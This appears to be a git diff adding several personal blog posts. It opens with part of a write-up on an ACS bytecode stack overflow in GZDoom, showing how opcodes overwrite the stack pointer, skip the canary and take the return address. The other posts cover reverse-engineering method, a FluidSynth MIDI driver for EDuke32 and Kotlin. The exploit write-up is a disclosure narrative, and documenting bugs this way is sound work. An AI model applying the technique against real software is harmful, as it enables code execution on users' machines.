SStack pointer starts at a very high +address and decreases as you push things onto the SStack. The VStack works in +the opposite direction: as you push things onto the VStack, the VStack pointer +increases. We want to traverse the SStack to the return address, which was +pushed before our script began execution, so we want an opcode that increments +the VStack pointer instead of one that decrements it. Fortunately, this isn't +difficult to find. + +#+BEGIN_SRC cpp :hl_lines 0 +case PCD_PUSHBYTE: + PushToStack (*(uint8_t *)pc); + pc = (int *)((uint8_t *)pc + 1); + break; +#+END_SRC + +Where =PushToStack= is a macro defined as: + +#+BEGIN_SRC cpp :hl_lines 0 +#define PushToStack(a) (Stack[sp++] = (a)) +#+END_SRC + +So the exploit /will/ overwrite the locals in the interpreter's stack frame, but +there's only really one variable we have to worry about borking, which I'll talk +about in a little bit. Let's jump in and craft a BEHAVIOR lump which calls +=PUSHBYTE= a bunch of times. + +#+CAPTION: A screenshot of my terminal showing an abrupt end to the debug prints I added for inspecting the absolute memory addresses of SStack and VStack. +[[./debug-prints.png]] + +We seem to end prematurely, which is because we hit the stack pointer. We will +have to modify our exploit to step over it somehow, which we can do by +overwriting the stack pointer to a value which points beyond it. Notice, +however, that =PUSHBYTE= increments the stack pointer by a whole four bytes. +When we push a byte, we're actually pushing a 4-byte integer with the high bytes +all set to 0, so we can't overwrite the stack pointer one "byte" at a time. +Fortunately, there is another ACS opcode, =PCD_PUSHNUMBER=, which pushes a full +4-byte integer. + +With some fiddling in GDB, we can find that the distance between the stack +buffer and where the return address is 4122 bytes. So we actually kill two birds +with one stone by smashing the stack pointer - the offset to the return address +is small enough that the desired stack pointer value fits into a 4 byte word. As +soon as we overwrite the stack pointer, we're at the return address. I suppose +maybe we killed three birds with one stone here, since we jumped over the stack +canary, too. Now we're at the fun part and can overwrite the return pointer with +another call or two to =PCD_PUSHNUMBER=. My exploit code writes +=0xdeadbeefcafebabe=, for the reason that it's recognizable in a stacktrace, but +theoretically you could overwrite the least significant bytes of the return +address and jump somewhere in GZDoom's =.text= segment, bypassing ASLR. + +We have complete control over the instruction pointer. Also, while I was +disclosing this to the development team, we discovered that vanilla Hexen has +this same arbitrary code execution vulnerability. No proof-of-concept yet. + +#+CAPTION: One of my posts in an internal discussion on the GZDoom forums regarding the same exploit existing in the vanilla Hexen code. +[[./vanilla-hexen-vulnerability.png]] diff --git a/posts/Bad BEHAVIOR/debug-prints.png b/posts/Bad BEHAVIOR/debug-prints.png new file mode 100644 index 0000000..538ccec Binary files /dev/null and b/posts/Bad BEHAVIOR/debug-prints.png differ diff --git a/posts/Bad BEHAVIOR/vanilla-hexen-vulnerability.png b/posts/Bad BEHAVIOR/vanilla-hexen-vulnerability.png new file mode 100644 index 0000000..510cf5f Binary files /dev/null and b/posts/Bad BEHAVIOR/vanilla-hexen-vulnerability.png differ diff --git a/posts/Decompilation By Hand/decompilation-by-hand.org b/posts/Decompilation By Hand/decompilation-by-hand.org new file mode 100644 index 0000000..6507189 --- /dev/null +++ b/posts/Decompilation By Hand/decompilation-by-hand.org @@ -0,0 +1,193 @@ +#+TITLE: Reverse Engineering By Hand +#+DATE: <2018-03-01 Thu> +#+TAGS: tutorial, reverse-engineering, x86, c, linux + +My capture-the-flag team played in the Insomni'hack teaser this year. During the +competition, I worked on a single challenge titled "sapeloshop." It was labeled +as "Medium-Hard," and it was in the binary exploitation category. The source +code for the server wasn't provided, so reverse engineering was necessary. I +don't think that having to reverse the binary was supposed to be the hard part, +as most of the behavior could have been inferred through some high-level +analysis, yet I spent nearly five hours fruitlessly trying to reverse it, and +the subsequent burnout was bad enough that I went home early. This wasn't the +first time a reversing task had gotten the best of me; there had been a few +competitions last year where I felt a similar loss in motivation. Noticing this +recurring pattern frustrated me, and that frustration drove me to think about +ways to improve myself as a reverse engineer. + +My initial idea was to work on expanding my skill set, but with some further +reflection, I came to the realization that the weakness was my process. I was +going at the task of reverse engineering without a plan: beginning by opening +the binary in radare, propagating from the entrypoint, and renaming a few +variables as I went along. I was trying to make sense of the program by +passively reading the disassembly listing. This /might/ work for someone who +lives and breathes assembly, but that certainly doesn't apply to me. What I +needed was a way to engage with the binary at hand beyond trying to passively +absorb it. + +With that, my first step was to come up with a more formally-defined idea of +what's involved in "reverse engineering." I still don't think I have anything +close to a complete description, but pondering on how reverse engineering tools +are designed certainly helped to solidify my existing understanding. Namely, I +was reminded of software suites advertised as "decompilers." They serve as a +stepping stone in an *iterative* process of turning machine code into something +that would be easier for a human to understand. They give an obviously +machine-generated C/C++ representation of the machine code, and the reverse +engineer continues by filling in the blanks with semantics. + +Now, I have a few issues with the idea of automated decompilation. For one, the +tooling simply isn't accessible. The only working decompiler I've used, IDA Pro, +is ridiculously expensive. Also, when I say, "working," I mean that it doesn't +segfault upon opening the binary. Even IDA Pro doesn't work perfectly in every +situation - especially those in which the binary has been intentionally +obfuscated. Because of this, there are arguments against the use of decompilers: +notably, [[https://blog.ret2.io/2017/11/16/dangers-of-the-decompiler/][this article]]. + +But the goal wasn't to have a program to do the work for us anyway, it was to +come up with a more effective methodology for reverse engineering a binary. +Unlike software, human reversers can adapt to the situation at hand - they don't +need rules defined in the same way that a computer would. As such, I've come up +with a protocol in a similar vein to [[https://en.wikipedia.org/wiki/SQ3R][SQ3R]] for reverse engineering machine code +to higher-level constructs. The protocol is still in its infancy, and I have +hopes to expand upon it in the future, but I have found it to still be quite +useful in its current state. + +I'd consider subroutines to be the fundamental atoms of a binary, and that's +what this protocol focuses on. However, being able to understand the subroutines +that compose a program doesn't necessarily imply an understanding of the whole +program. These are things that I hope to incorporate into the protocol in the +future, but for now, they are given as a handful of necessary precursors. + +For one, you should get a high-level understanding of what the program does. I +would recommend initially treating it as a black box: What does this program do? +Is it a web server? A crypto algorithm? I find that it's useful to copy down any +text that the program outputs, as you can use the string references later on +when you look at the machine code. You should also test plenty of inputs. What +does the program do for typical edge cases? What error handling does it do? This +might all seem extremely mundane, but if you understand the program at this +level, it gives you things to recognize in the disassembly listing. This is +absolutely essential when it comes to something more complicated than the toy +programs you might see in a capture-the-flag. I've been working a lot with the +Team Fortress 2 binaries recently, and understanding how and where certain +string references are used has given me a way to find just the functionality I'm +interested in, as opposed to trying to understand the entire 33 MB shared +object. + +That brings me to another point: you might not even need to reverse all of the +subroutines in the binary. In a binary exploitation challenge, it might make +sense to audit the seemingly mundane input-handling functions, but if you can +tell from the usage alone that all a subroutine does is print something, it +probably isn't worth your time to disassemble it. Remember, you can always come +back to something later, but if you waste your time on it, those are valuable +competition minutes that you'll never get back. + +Finally, this is more general, and it's something that I think every reverse +engineer knows, but it's worth mentioning regardless. If you don't know the ISA, +the architecture's calling conventions, or the quirks of the language design and +the compiler, it might be in your best interest to create a "lexicon" of +high-level constructs and how they're represented in assembly. There's +absolutely no shame in doing this, and it's been especially helpful for me when +I've looked at any binaries that were compiled with MSVC. One tool that I've +found useful for creating these lexicons is the [[https://godbolt.org/][Godbolt Compiler Explorer]]. + +Hopefully that wasn't too long of an introduction. Now we can get into the +protocol itself. It's composed of five steps and make up a mnemonic: "SCARS." +The first step is to "skim," or "scan." The premise is to first get an idea +which memory addresses the subroutine spans, or how long it is. I usually look +for the typical "function epilogue," which might include a stack canary check, +or it might just be a =pop %rbp; ret.= Then, get context. See where the +subroutine is called and how it's called - figure out if there are any arguments +to the subroutine, and see if it returns anything. Finally, look over the +disassembly listing for the routine, paying attention to the use of stack +variables and global variables. Do any of those variables look like they might +be classes/structures? + +The second step is to "chunk." The first step should have given you a rough idea +of the control flow, but now you need to break the subroutine into smaller sets +of instructions that you can analyze. I usually separate based on whether or not +a set of instructions are skipped by a conditional jump. + +The third step is "arrange." Simply put, this involves taking your findings +about stack variables and such from the first step, and converting them to +declarations in the high-level language. I also like to make stubs for any other +subroutines that are called, since I'll probably be reversing those later +anyway. This third step also ties in with the fourth step, which is to +"recognize." This involves looking back on your lexicon of patterns, and +converting them to the high-level constructs that they represent. These two +steps are done simultaneously and are basically where you try to manually +decompile the chunks of machine code you plotted out in the previous step. + +The final step is to "simplify," which entails simplifying the resultant code +into something perhaps more understandable. For example, =1 << 4= is equivalent +to =1 * 2^4=, or just =4=. This also might be where you replace magic numbers +with constants. Whenever I see 0 passed to =read(3)=, I replace that with +=STDIN_FILENO=. + +I spent a little under twenty minutes last night reversing the binary from the +challenge I mentioned at the beginning of this post. That's not a lot of time +compared to how much I spent during the competition, and I got surprisingly far +(almost all of main!) If this were the competition, however, I would have done +it differently. Instead of starting at main, I would have probably started at +one of the functions for handling input and went backwards by checking for +XREF's. I only did it this way to test out the protocol for something I had +difficulty with in the past. Here are a few of the highlights. If you want to +look on with me, all of the files for the challenge can be found [[https://github.com/DhavalKapil/ctf-writeups/tree/master/insomni-hack-18/sapeloshop][here]]. + +The most useful part about rewriting the program in C is the malleability of +text. When I was obtusely reading disassembly listings, keeping track of how +values were being juggled across registers was difficult for me. But by +representing these instructions in C, I can convert a few of them into an +expression, comment which register they're in, and come back to use that +expression later. This is more useful when the juggling spans a large number of +instructions, but here's a smaller example where I still used it. The +disassembly at =0x1e15= is + +#+BEGIN_SRC asm +0x00001e15 488d8550b7ff. leaq -0x48b0(%rbp), %rax +0x00001e1c 488d90080400. leaq 0x408(%rax), %rdx +0x00001e23 488b8540b7ff. movq -0x48c0(%rbp), %rax +0x00001e2a 488d35bf0800. leaq str.User_Agent:__128, %rsi ; 0x26f0 ; "User-Agent: %128[^\r\n]\r\n" +0x00001e31 4889c7 movq %rax, %rdi +0x00001e34 b800000000 movl $0, %eax +#+END_SRC + +I had previously made a variable for =-0x48b0(%rbp)= during my "arrange" step, +temporarily named =local_48b0= until I figured out its usage and a better name +for it. Just from these six instructions, I can tell that it's a buffer of some +sort, so I started off with: + +#+BEGIN_SRC c +((void *) local_48b0); // rax +#+END_SRC + +Then, I handled the pointer arithmetic in the second instruction, and the third +instruction, since it replaced the value in =%rax=: + +#+BEGIN_SRC c +(void *) (((char *) (local_48b0)) + 0x408); // rdx +*((uint64_t *) local_48b0); // rax +#+END_SRC + +Ew. It's starting to look like some system programmer's personal Lisp dialect +now. Don't worry. It's gross now, but as you understand more of the subroutine, +you'll be able to declare variables in such a way that you won't need casts like +these. That's where the "simplify" step comes into play. + +Also, I should mention that you don't necessarily have to reverse the chunks you +came up with in a linear fashion. I saw a chunk with two calls to some +=__errno_location=, which I didn't want to deal with at the time, so I just went +on to the next chunk. Again, you can come back to stuff later, but this does +mean you need to keep track of which chunks you've covered. + +One thing I've done in the past with this protocol is to keep a little ASCII +drawing of the stack layout. It doesn't make a whole lot of sense here, since +there aren't any pushes or pops that would change the size of the stack frame, +but maybe you'll find it useful for 32-bit binaries. + +Oh, and one last thing. Not everything is worth adding into your decompilation. +For example, if I saw a timer being set up with =alarm(3)=, I would probably +ignore it. In fact, I'd patch it out, but that's a topic for another day. + +Any questions about things I mentioned in this post, or suggestions on how to +make it better? Both would be greatly appreciated. Contact info is on my +[[http://jakob.space][homepage]]. diff --git a/posts/Duke on Fluidsynth/duke-on-fluidsynth.org b/posts/Duke on Fluidsynth/duke-on-fluidsynth.org new file mode 100644 index 0000000..a86390f --- /dev/null +++ b/posts/Duke on Fluidsynth/duke-on-fluidsynth.org @@ -0,0 +1,179 @@ +#+TITLE: Duke on Fluidsynth +#+DATE: <2018-01-13 Sat> +#+TAGS: writeup, programming, video-games, audio, c++ + +My first experiences with Duke Nukem 3D were with EDuke32 ages ago. This was +back when I was running Windows Vista, and while my memory is a bit lacking, I +swear that I had working music then. Ever since I made the switch to Linux, I +haven't had working music playback in EDuke. Frustrated at the fact that my past +few years of Duke 3D have been devoid of all sound besides the screams of death +and Duke's trash talking, I've finally decided to troubleshoot it. + +My first hypothesis was that there was a build flag for music support, and that +the binaries for EDuke in my distribution's package repository were compiled +without it. This led me to look at the [[http://wiki.eduke32.com/wiki/Building_EDuke32_on_Linux][Linux build instructions]], which +specifically mention an =EDUKE32_MUSIC_CMD= environment variable for specifying +an external MIDI player to use. This tipped me off on the issue: my version of +EDuke couldn't play MIDI. This made sense, since all of the other game sounds +were working just fine. I set the TiMidity++ command-line tool as the external +MIDI player, as I've had luck using TiMidity++ with QZDoom, and it worked on the +first try. This victory was short-lived, however, as the game froze the second I +started up the first episode. I figured that EDuke was waiting on the TiMidity++ +process to die off, which is when I decided to crack open the source code. + +The code revealed that on Linux platforms, EDuke uses SDL2_Mixer for music +output. I'm mildly familiar with it; it's a wrapper around the SDL audio module, +providing loaders for several sound formats such as OGG and MIDI. Unfortunately, +it seems incapable of playing MIDI on my system. Some further research revealed +that for MIDI playback, SDL2_Mixer can use either FluidSynth, or an internal +version of TiMidity. This reminded me of an issue I had when I first installed +GZDoom on my machine: soundfonts. + +You're supposed to be able to specify a default soundfont for FluidSynth in +=/etc/conf.d/fluidsynth=, but in my experiences with the command-line tool, this +is ignored entirely. Similarly, a default soundfont can be specified in +=/etc/timidity++/timidity.cfg=, but the only things I've used that have +respected that are QZDoom and the TiMidity++ command-line tool. Compiling +SDL2_Mixer from source and forcing it to use the internal version of TiMidity +has the same issue as before. + +I suspect that the reason for this is the fragmentation of TiMidity releases. +SDL2_Mixer has an internal version of TiMidity. So does QZDoom. It seems to be +one of those libraries that just gets copied into version control because it's +small enough, like that Vorbis decoder by RAD Game Tools. This has the +consequence that it will almost never be updated, and you may have several +programs using different, incompatible versions of it. In the case of QZDoom, +the copyright header in =timidity.cpp= is dated 1995. + +I looked at [[http://libtimidity.sourceforge.net/][libTiMidity]] in hopes of debugging the issue, which is when I +realized that some versions of TiMidity literally do not support specifying a +default soundfont, which would explain why SDL2_Mixer is dead silent. + +#+CAPTION: This is a pretty overdue feature, guys. +#+BEGIN_SRC c :hl_lines 0 +else if (!strcmp(w[0], "soundfont") || + !strcmp(w[0], "font")) +{ + /* "soundfont" sf_file "remove" + * "soundfont sf_file ["order=" order] ["cutoff=" cutoff] + * ["reso=" reso] ["amp=" amp] + * "font" "exclude" bank preset keynote + * "font" "order" order bank preset keynote + */ + DEBUG_MSG("FIXME: Implement \"%s\" in TiMidity config.\n", w[0]); +} +#+END_SRC + +Alright, so TiMidity isn't the way to go at all, and FluidSynth has issues +specifying a default soundfont via configuration files, but perhaps the +FluidSynth /API/ exposes a means of specifying a soundfont. Fortunately, this +was easy to check as FluidSynth has the best documentation I've ever seen from a +library written in C. The developer documentation is rich with examples, and one +of them even involves what we're looking for. Loading a soundfont with +FluidSynth turns out to be as easy as calling =fluid_synth_sfload=. + +Writing a drop-in replacement for the SDL2_Mixer MIDI driver is uncomplicated +because Duke3D maintains a structured API for its music drivers. There are two +drivers in the source tree, currently: the original Apogee Sound System +implementation (=source/duke3d/src/music.cpp=), and the reimplementation using +SDL2_Mixer (=source/duke3d/src/sdlmusic.cpp=). To make things simple, we'll just +replace =sdlmusic.cpp= and define the following routines: + +- =const char *MUSIC_ErrorString(int32_t ErrorNumber)= +- =int32_t MUSIC_Init(int32_t SoundCard, int32_t Address)= +- =int32_t MUSIC_Shutdown(void)= +- =void MUSIC_SetVolume(int32_t volume)= +- =int32_t MUSIC_GetVolume(void)= +- =void MUSIC_SetLoopFlag(int32_t loopflag)= +- =void MUSIC_Continue(void)= +- =void MUSIC_Pause(void)= +- =int32_t MUSIC_StopSong(void)= +- =int32_t MUSIC_PlaySong(char *song, int32_t loopflag)= +- =int32_t MUSIC_InitMidi(int32_t card, midifuncs *Funcs, int32_t Address)= +- =void MUSIC_Update(void)= + +The names are very descriptive in this case, and the routines themselves are +quite simple. Routines that return an =int32_t= are just returning an error code +(=MUSIC_Ok= or =MUSIC_Error=), with the exception of =MUSIC_GetVolume=, which +returns the volume on a scale of 0 to 255. In our case, most of these will be +stubs. For example, =MUSIC_Update= and =MUSIC_Continue= are irrelevant for +FluidSynth. + +Also, it's worth mentioning that the "song" parameter to =MUSIC_PlaySong= isn't +a filename, it's a pointer to an in-memory version of the MIDI file. FluidSynth +supports reading MIDI files from memory, but unlike SDL2_Mixer's in-memory MIDI +loader, the file's size has to be explicitly specified. I dug up a [[https://github.com/colxi/midi-parser-js/wiki/MIDI-File-Format-Specifications][specification +of the format]] and hacked together a little routine to figure out the size. It +isn't particularly important, but I wanted to mention it because it worked on +the first try, which warranted some celebration. + +#+BEGIN_SRC c :hl_lines 0 +char *tracks; +size_t file_size; +uint16_t num_tracks; + +tracks = song + 0x14; +num_tracks = *((uint16_t *) (song + 0x10)); +file_size = 0x14; // Size of the MIDI header. + +while (num_tracks--) { + uint16_t track_size; + + if (!memcmp(tracks, "MTrk", 4)) { + break; + } + + track_size = *((uint16_t *) (tracks + 0x04)); + file_size += track_size + 0x08; + tracks += track_size + 0x08; +} +#+END_SRC + +This all ended up being simple enough that I was able to get MIDI playback +working in under an hour on a Friday night. Yeah. I had some friends who wanted +to go out that night, but I stayed home and wrote a MIDI driver instead. (That +isn't the real reason, I'm not that much of a loser). + +Unfortunately, because I was just hacking it together quickly, the initial +implementation had a few issues: + +- No error reporting (=MUSIC_ErrorString= just returns "Nothing to see here...") +- Doesn't use modern C++, and only loosely follows the EDuke32 code style. +- Directly includes the FluidSynth headers, which seems to be a taboo in the + EDuke codebase. +- =MUSIC_StopSong will= shutdown and reinitialize the entire audio driver just + to flush whatever's currently playing out of the player. +- Replaces =sdlmusic.cpp=, instead of being an independent source file that can + be included at compile time. +- No volume controls. +- Soundfont and audio backend are hardcoded to my system. + +The first three were quite easy to fix, and as I don't have any plans to push +this upstream, they were really non-issues. The thing with =MUSIC_StopSong= is +also kind of a non-issue, as reinitializing the audio system is the only way to +flush the FluidSynth player right now. That fifth issue is also something I'm +not going to deal with unless someone confronts me about getting this included +upstream, because this is a lot easier to maintain as a drop-in replacement. + +Volume controls were extremely trivial to implement, as the only thing the +driver has to do is expose MUSIC_SetVolume. The routine receives a number on the +interval [0, 255], where 0 is the quietest, and 255 is the loudest. FluidSynth +provides a 'synth.gain' setting, which is essentially volume, but it instead +accepts numbers on the interval [0.0, 10.0]. + +The naive approach (which is what I did the first time around) is to multiply +the parameter by some scalar (10.0 / 255) to fit on the interval of [0.0, +10.0]. This was quite painful for my poor little ears. So I instead scaled the +number to fit on the interval of [0.0, 1.0]. + +Finally, specifying the soundfont is something I'll address in the future. My +patch adds some stuff to the EDuke options menu for specifying an audio backend +(alsa, pulse, etc), but I have yet to figure out how to make an option that's +stored as a string. + +If you want to check out my patchset, you can view the repository [[https://github.com/TsarFox/duke-on-fluidsynth][here]], and +here's a demo video: + +#+BEGIN_EXPORT html + +#+END_EXPORT diff --git a/posts/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org b/posts/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org new file mode 100644 index 0000000..75b7438 --- /dev/null +++ b/posts/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org @@ -0,0 +1,494 @@ +#+TITLE: First Impressions of the Kotlin Programming Language +#+DATE: <2018-12-17 Mon> +#+TAGS: opinion, programming, java, kotlin, android + +In the introduction of the previous post I wrote for this series, [[http://jakob.space/posts/first-impressions-of-the-rust-programming-language/][First +Impressions of the Rust Programming Language]], I alluded to the presence of +arguments that programming language safety should be achieved by moving to +languages such as Java which run on a virtual machine. While "safety" may no +longer be the first thing that comes to mind in discussion of these languages, +especially with the hundreds[fn:1] of vulnerabilities in various implementations +of the Java virtual machine, it would be unfair to deny that the principle of +running programs in a sandboxed virtual machine is safer than running machine +code directly. This post won't be making any claims about safety, though, as I'm +more interested in writing about my impressions from a language design +perspective. So, how does Java fare in this regard? + +My first run-in with Java was when I was 16 and still in high school; I had +enrolled in AP computer science, of which the curriculum was and still is taught +using Java. I already knew Python and C at that point, but enrolled anyway as I +was never given a formal computer science education, and because the idea of +university credits was enticing to me. The portion of the class that regarded +concepts of computer science -- algorithm design and data structures -- was a +blast, but I quickly became frustrated with the programming assignments because +of Java's horribly unwieldy nature. Despite my distaste for the way the course +was taught, my grades stood out enough that the teacher approached me about +working as a teaching assistant the following year. I took him up on the offer, +and suffered. The position involved troubleshooting students' issues during lab +periods, and nearly every time I sat down to help a student, the issue was with +one of Java's numerous pitfalls rather than a conceptual misunderstanding of +computer science. At of the time of writing this, I have just completed my first +semester of university, and Java is apparently inescapable; I have been forced +to use it once more in my introductory data structures course. It has not grown +on me at all in these past three years, and I am not exaggerating when I say +that the language has literally given me nightmares. + +Refusing to use Java outside of my coursework would seemingly prevent me from +programming for any platform which makes use of Java, such as Android, but it +turns out that there's an alternative: using a language that compiles down to +the same bytecode as Java does. For those not in the know, Java works by +compiling source code ahead of time into a Java class file, which is a container +format for JVM bytecode. Bytecode is comparable to assembly, but it doesn't run +on actual hardware.[fn:2] Instead, it runs on an abstract machine implemented in +software. JVM bytecode as a compiler target is not a new concept; there are +plenty of languages targeting the JVM specifically, such as Groovy, Scala, and +Clojure (the latter of which I hope to cover in a future post), but Kotlin was +the first I heard of. + +While targeting Android is what I ended up using Kotlin for, my initial reason +for learning it was not nearly as practical. For context, I go between phases of +absolutely hating everything related to Java and phases of almost being able to +tolerate it, but that tolerance is mostly out of curiosity about the +implementation -- the most recent case of piqued interest coming about through +obtaining the J2ME JAR for [[https://en.wikipedia.org/wiki/Doom_RPG][Doom RPG]] and having an inclination to indulge in some +retro Java (circa JRE 1.3) reverse engineering. Really, I wanted to learn Kotlin +so that I could compare the bytecode generated by the Kotlin compiler to the +bytecode generated by past and present Java compilers,[fn:3] but I won't be +talking about that much in this post. + +Throughout this post, I'll be treating Kotlin as a language that only runs on +the JVM, but it's worth noting that the compiler has recently gained support for +targeting Javascript and LLVM as well, so this perspective doesn't fully +represent the language. + +As my first foray into writing nontrivial[fn:4] Kotlin, I decided to write a +version of Minesweeper, my favorite logic puzzle. The code is available on +[[https://git.sr.ht/~jakob/mines][sr.ht]]. Implementing Minesweeper might be a bit redundant as [[https://f-droid.org/en][F-Droid]] already has +a [[https://f-droid.org/en/packages/csd.qtproject.minesweeper][GPLv3'd implementation of Minesweeper]] in its repositories, but that one's +implemented in C++, QML, and Javascript. + +For the purposes of illustration, here's a simplified implementation of the +Minesweeper logic sans Android API: + +#+BEGIN_SRC kotlin :hl_lines 0 +data class Tile(val adjacentMines: Int = 0, val mine: Boolean = false, val masked: Boolean = true) + +/** + * The Minesweeper "grid", containing instances of [Tile]. + */ +class Grid(val width: Int, val height: Int, val tiles: Array) { + constructor(width: Int = 8, height: Int = 8, mines: Int = 10) + : this(width, height, Array(width * height) { Tile() }) { + for (i in 0 until mines) { + val x = (0 until width).random() + val y = (0 until height).random() + placeMine(x, y) + } + } + + private fun index(x: Int, y: Int) = y * width + x + private fun valid(x: Int, y: Int) = y in 0 until height && x in 0 until width + private fun place(x: Int, y: Int, tile: Tile) { + tiles[index(x, y)] = tile + } + + /** + * Returns the tile at the given coordinates. + * + * @throws IllegalArgumentException if the X coordinate is outside + * the range of [0, width), or if the Y coordinate is outside the + * range of [0, height). + */ + operator fun get(x: Int, y: Int) = if (valid(x, y)) { + tiles[index(x, y)] + } else { + throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") + } + + /** + * Places a mine at the given coordinates. + * + * @throws IllegalArgumentException if the X coordinate is outside + * the range of [0, width), or if the Y coordinate is outside the + * range of [0, height). + */ + fun placeMine(x: Int, y: Int) { + if (!valid(x, y)) { + throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") + } + + if (this[x, y].mine) { + return; + } + + place(x, y, Tile(mine = true)) + + val xMin = (x - 1).coerceAtLeast(0) + val xMax = (x + 1).coerceAtMost(width - 1) + val yMin = (y - 1).coerceAtLeast(0) + val yMax = (y + 1).coerceAtMost(height - 1) + + for (y in yMin..yMax) { + for (x in xMin..xMax) { + with (tiles[index(x, y)]) { + if (!mine) { + place(x, y, copy(adjacentMines + 1)) + } + } + } + } + } + + /** + * Reveals a tile at the given coordinates according to the game rules. + * + * @throws IllegalArgumentException if the X coordinate is outside + * the range of [0, width), or if the Y coordinate is outside the + * range of [0, height). + */ + fun reveal(x: Int, y: Int) { + if (!valid(x, y) || !this[x, y].masked) { + return; + } + + with (this[x, y]) { + place(x, y, copy(masked = false)) + + if (!mine && adjacentMines == 0) { + val xMin = (x - 1).coerceAtLeast(0) + val xMax = (x + 1).coerceAtMost(width - 1) + val yMin = (y - 1).coerceAtLeast(0) + val yMax = (y + 1).coerceAtMost(height - 1) + + for (y in yMin..yMax) { + for (x in xMin..xMax) { + reveal(x, y) + } + } + } + } + } + + override fun toString() = buildString { + for (y in 0 until height) { + for (x in 0 until width) { + val tile = this@Grid[x, y] + append(when { + tile.masked -> "." + tile.mine -> "M" + tile.adjacentMines == 0 -> " " + else -> tile.adjacentMines.toString() + } + " ") + } + append("\n") + } + } +} + +fun main(args: Array) { + val grid = Grid() + + for (i in 0 until 9) { + val x = (0 until 8).random() + val y = (0 until 8).random() + grid.reveal(x, y) + println(grid) + } +} +#+END_SRC + +And just within the first line, we're introduced to a feature that provides +massive gains in readability over Java. Data classes. + +#+BEGIN_SRC kotlin :hl_lines 0 +data class Tile(val adjacentMines: Int = 0, val mine: Boolean = false, val masked: Boolean = true) +#+END_SRC + +In Java, if you want to group a few related values together, you'd probably +write a full implementation of a class with "getter" and "setter" methods, and +potentially other methods for things like testing for equality. That's a whole +new file (assuming that you want to use this structure between classes) and +several lines of code for something that should really be expressed in one line. +Kotlin allows for structures to be declared this way. Here, we define a =Tile= +structure, which acts as an immutable container for the information we want to +associate with a tile in the Minesweeper grid. The compiler automatically +derives methods to check for equality (=equals=), to create a unique hash code +(=hashCode=), to provide a string representation (=toString=), and to make a +copy of the structure. That last point on making copies brings me to another +feature of Kotlin that makes programming with immutable data structures a +breeze: named and optional parameters. Notice that there are default values in +the above declaration -- =adjacentMines= is 0, =mine= is false, and =masked= is +true. If I wanted to create a tile that was a mine, but was still masked, I +could simply call =Tile(mine = true)=. Java only supports positional +overloading, so in Java, it would be =new Tile(0, true)=, assuming that I had an +overloaded constructor with a default =masked= value. Returning to the point on +the automatically-generated =copy= method, the named and optional parameters +really shine here. Take a look at how it's used in the =reveal= method: + +#+BEGIN_SRC kotlin :hl_lines 0 +with (this[x, y]) { + place(x, y, copy(masked = false)) +#+END_SRC + +I should probably explain the =with= statement to fully unpack what's happening +here. =with= essentially allows us to run a block of code in the scope of an +object. =copy= is a method of =this[x, y]=, but we don't need to write =this[x, +y].copy= since we are in the class scope of =Tile= (the type of =this[x, y]=). + +The code for initializing a new =Grid= object does a nice job of illustrating +Kotlin's ranges. + +#+BEGIN_SRC kotlin :hl_lines 0 +for (i in 0 until mines) { + val x = (0 until width).random() + val y = (0 until height).random() + placeMine(x, y) +} +#+END_SRC + +Kotlin is similar to Python in that there are no longer C-styled for loops +(initialization + condition + afterthought). Instead, there are iterator-based +for loops, and enumeration is done with ranges. =a..b= represents the range of +integers from [a, b], and =a until b= represents the range from [a, b). Ranges +are also objects, which is why we can write something like =(0 until +width).random()=, which picks a random integer in the range [0, width). + +Another big feature is type inference, which eliminates another pain in reading +and writing Java. Take this facetious example: + +#+BEGIN_SRC java :hl_lines 0 +InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState myState = new InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState(); +#+END_SRC + +The class name shows up twice on the same line, which I personally think is +absurd. Is the type of =myState= really not obvious from the rvalue? + +#+BEGIN_SRC kotlin :hl_lines 0 +val myState = InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState() +#+END_SRC + +Ah, much better. Of course, sometimes variables /need/ type information, such as +in the case of function parameters and return values. Actually, the type of a +return value can be inferred, too. This can be seen in the definitions of +=index= and =valid=. + +#+BEGIN_SRC kotlin :hl_lines 0 +private fun index(x: Int, y: Int) = y * width + x +private fun valid(x: Int, y: Int) = y in 0 until height && x in 0 until width +#+END_SRC + +Functions can be written this way if their body is a single expression, and the +compiler can infer the type of the return value from that expression. +Expressions are a big thing in Kotlin. =if= is an expression (which you can see in +the implementation of =get=), much like it is in Rust, as is =when= -- Kotlin's +replacement to Java's =switch= (which is sadly lacking in the way of +pattern-matching). Assignment, fortunately, is not an expression like it is in C +and Java.[fn:5] Here's an example of =when= used as an expression: + +#+BEGIN_SRC kotlin :hl_lines 0 +override fun toString() = buildString { + for (y in 0 until height) { + for (x in 0 until width) { + val tile = this@Grid[x, y] + append(when { + tile.masked -> "." + tile.mine -> "M" + tile.adjacentMines == 0 -> " " + else -> tile.adjacentMines.toString() + } + " ") + } + append("\n") + } +} +#+END_SRC + +This is yet another example of a function body being written as a single +expression. =buildString= is a function in the Kotlin standard library that takes +a lambda as a parameter,[fn:6] executes it in the context of a Java StringBuilder, +and returns the result of building that string. Kotlin provides a number of +facilities to make working with strings more pleasant, including string +interpolation: + +#+BEGIN_SRC kotlin :hl_lines 0 +val myNum = 7 +return "myNum is ${myNum}" // --> "myNum is 7" +#+END_SRC + +One last feature from the example above -- Kotlin supports operator overloading. +I'm sure that there was some rationale behind omitting operator overloading +from Java, but I'm a proponent of languages that offer support for it. Where the +operator overloading occurs in the example might not have been obvious, though. + +#+BEGIN_SRC kotlin :hl_lines 0 +operator fun get(x: Int, y: Int) = if (valid(x, y)) { + tiles[index(x, y)] +} else { + throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") +} +#+END_SRC + +=get= corresponds to the indexing notation, which is why =this[x, y]= has shown +up a few times in the code. Yes, the indexing notation can take multiple +parameters. The names that Kotlin associates with different operators tends to +draw parallels with the conventions of the Java standard library. In the case of +=get=, this means that you can use indexing notation on a =Map=. Pretty neat. + +There are a few other features that I think are worth mentioning, but don't +appear in the Minesweeper example. + +* Explicit type conversion + +Kotlin lacks implicit type coercion, which I think is a huge benefit in terms of +readability. While it isn't as much of an issue in Java, having to explicity +mark type conversion is an 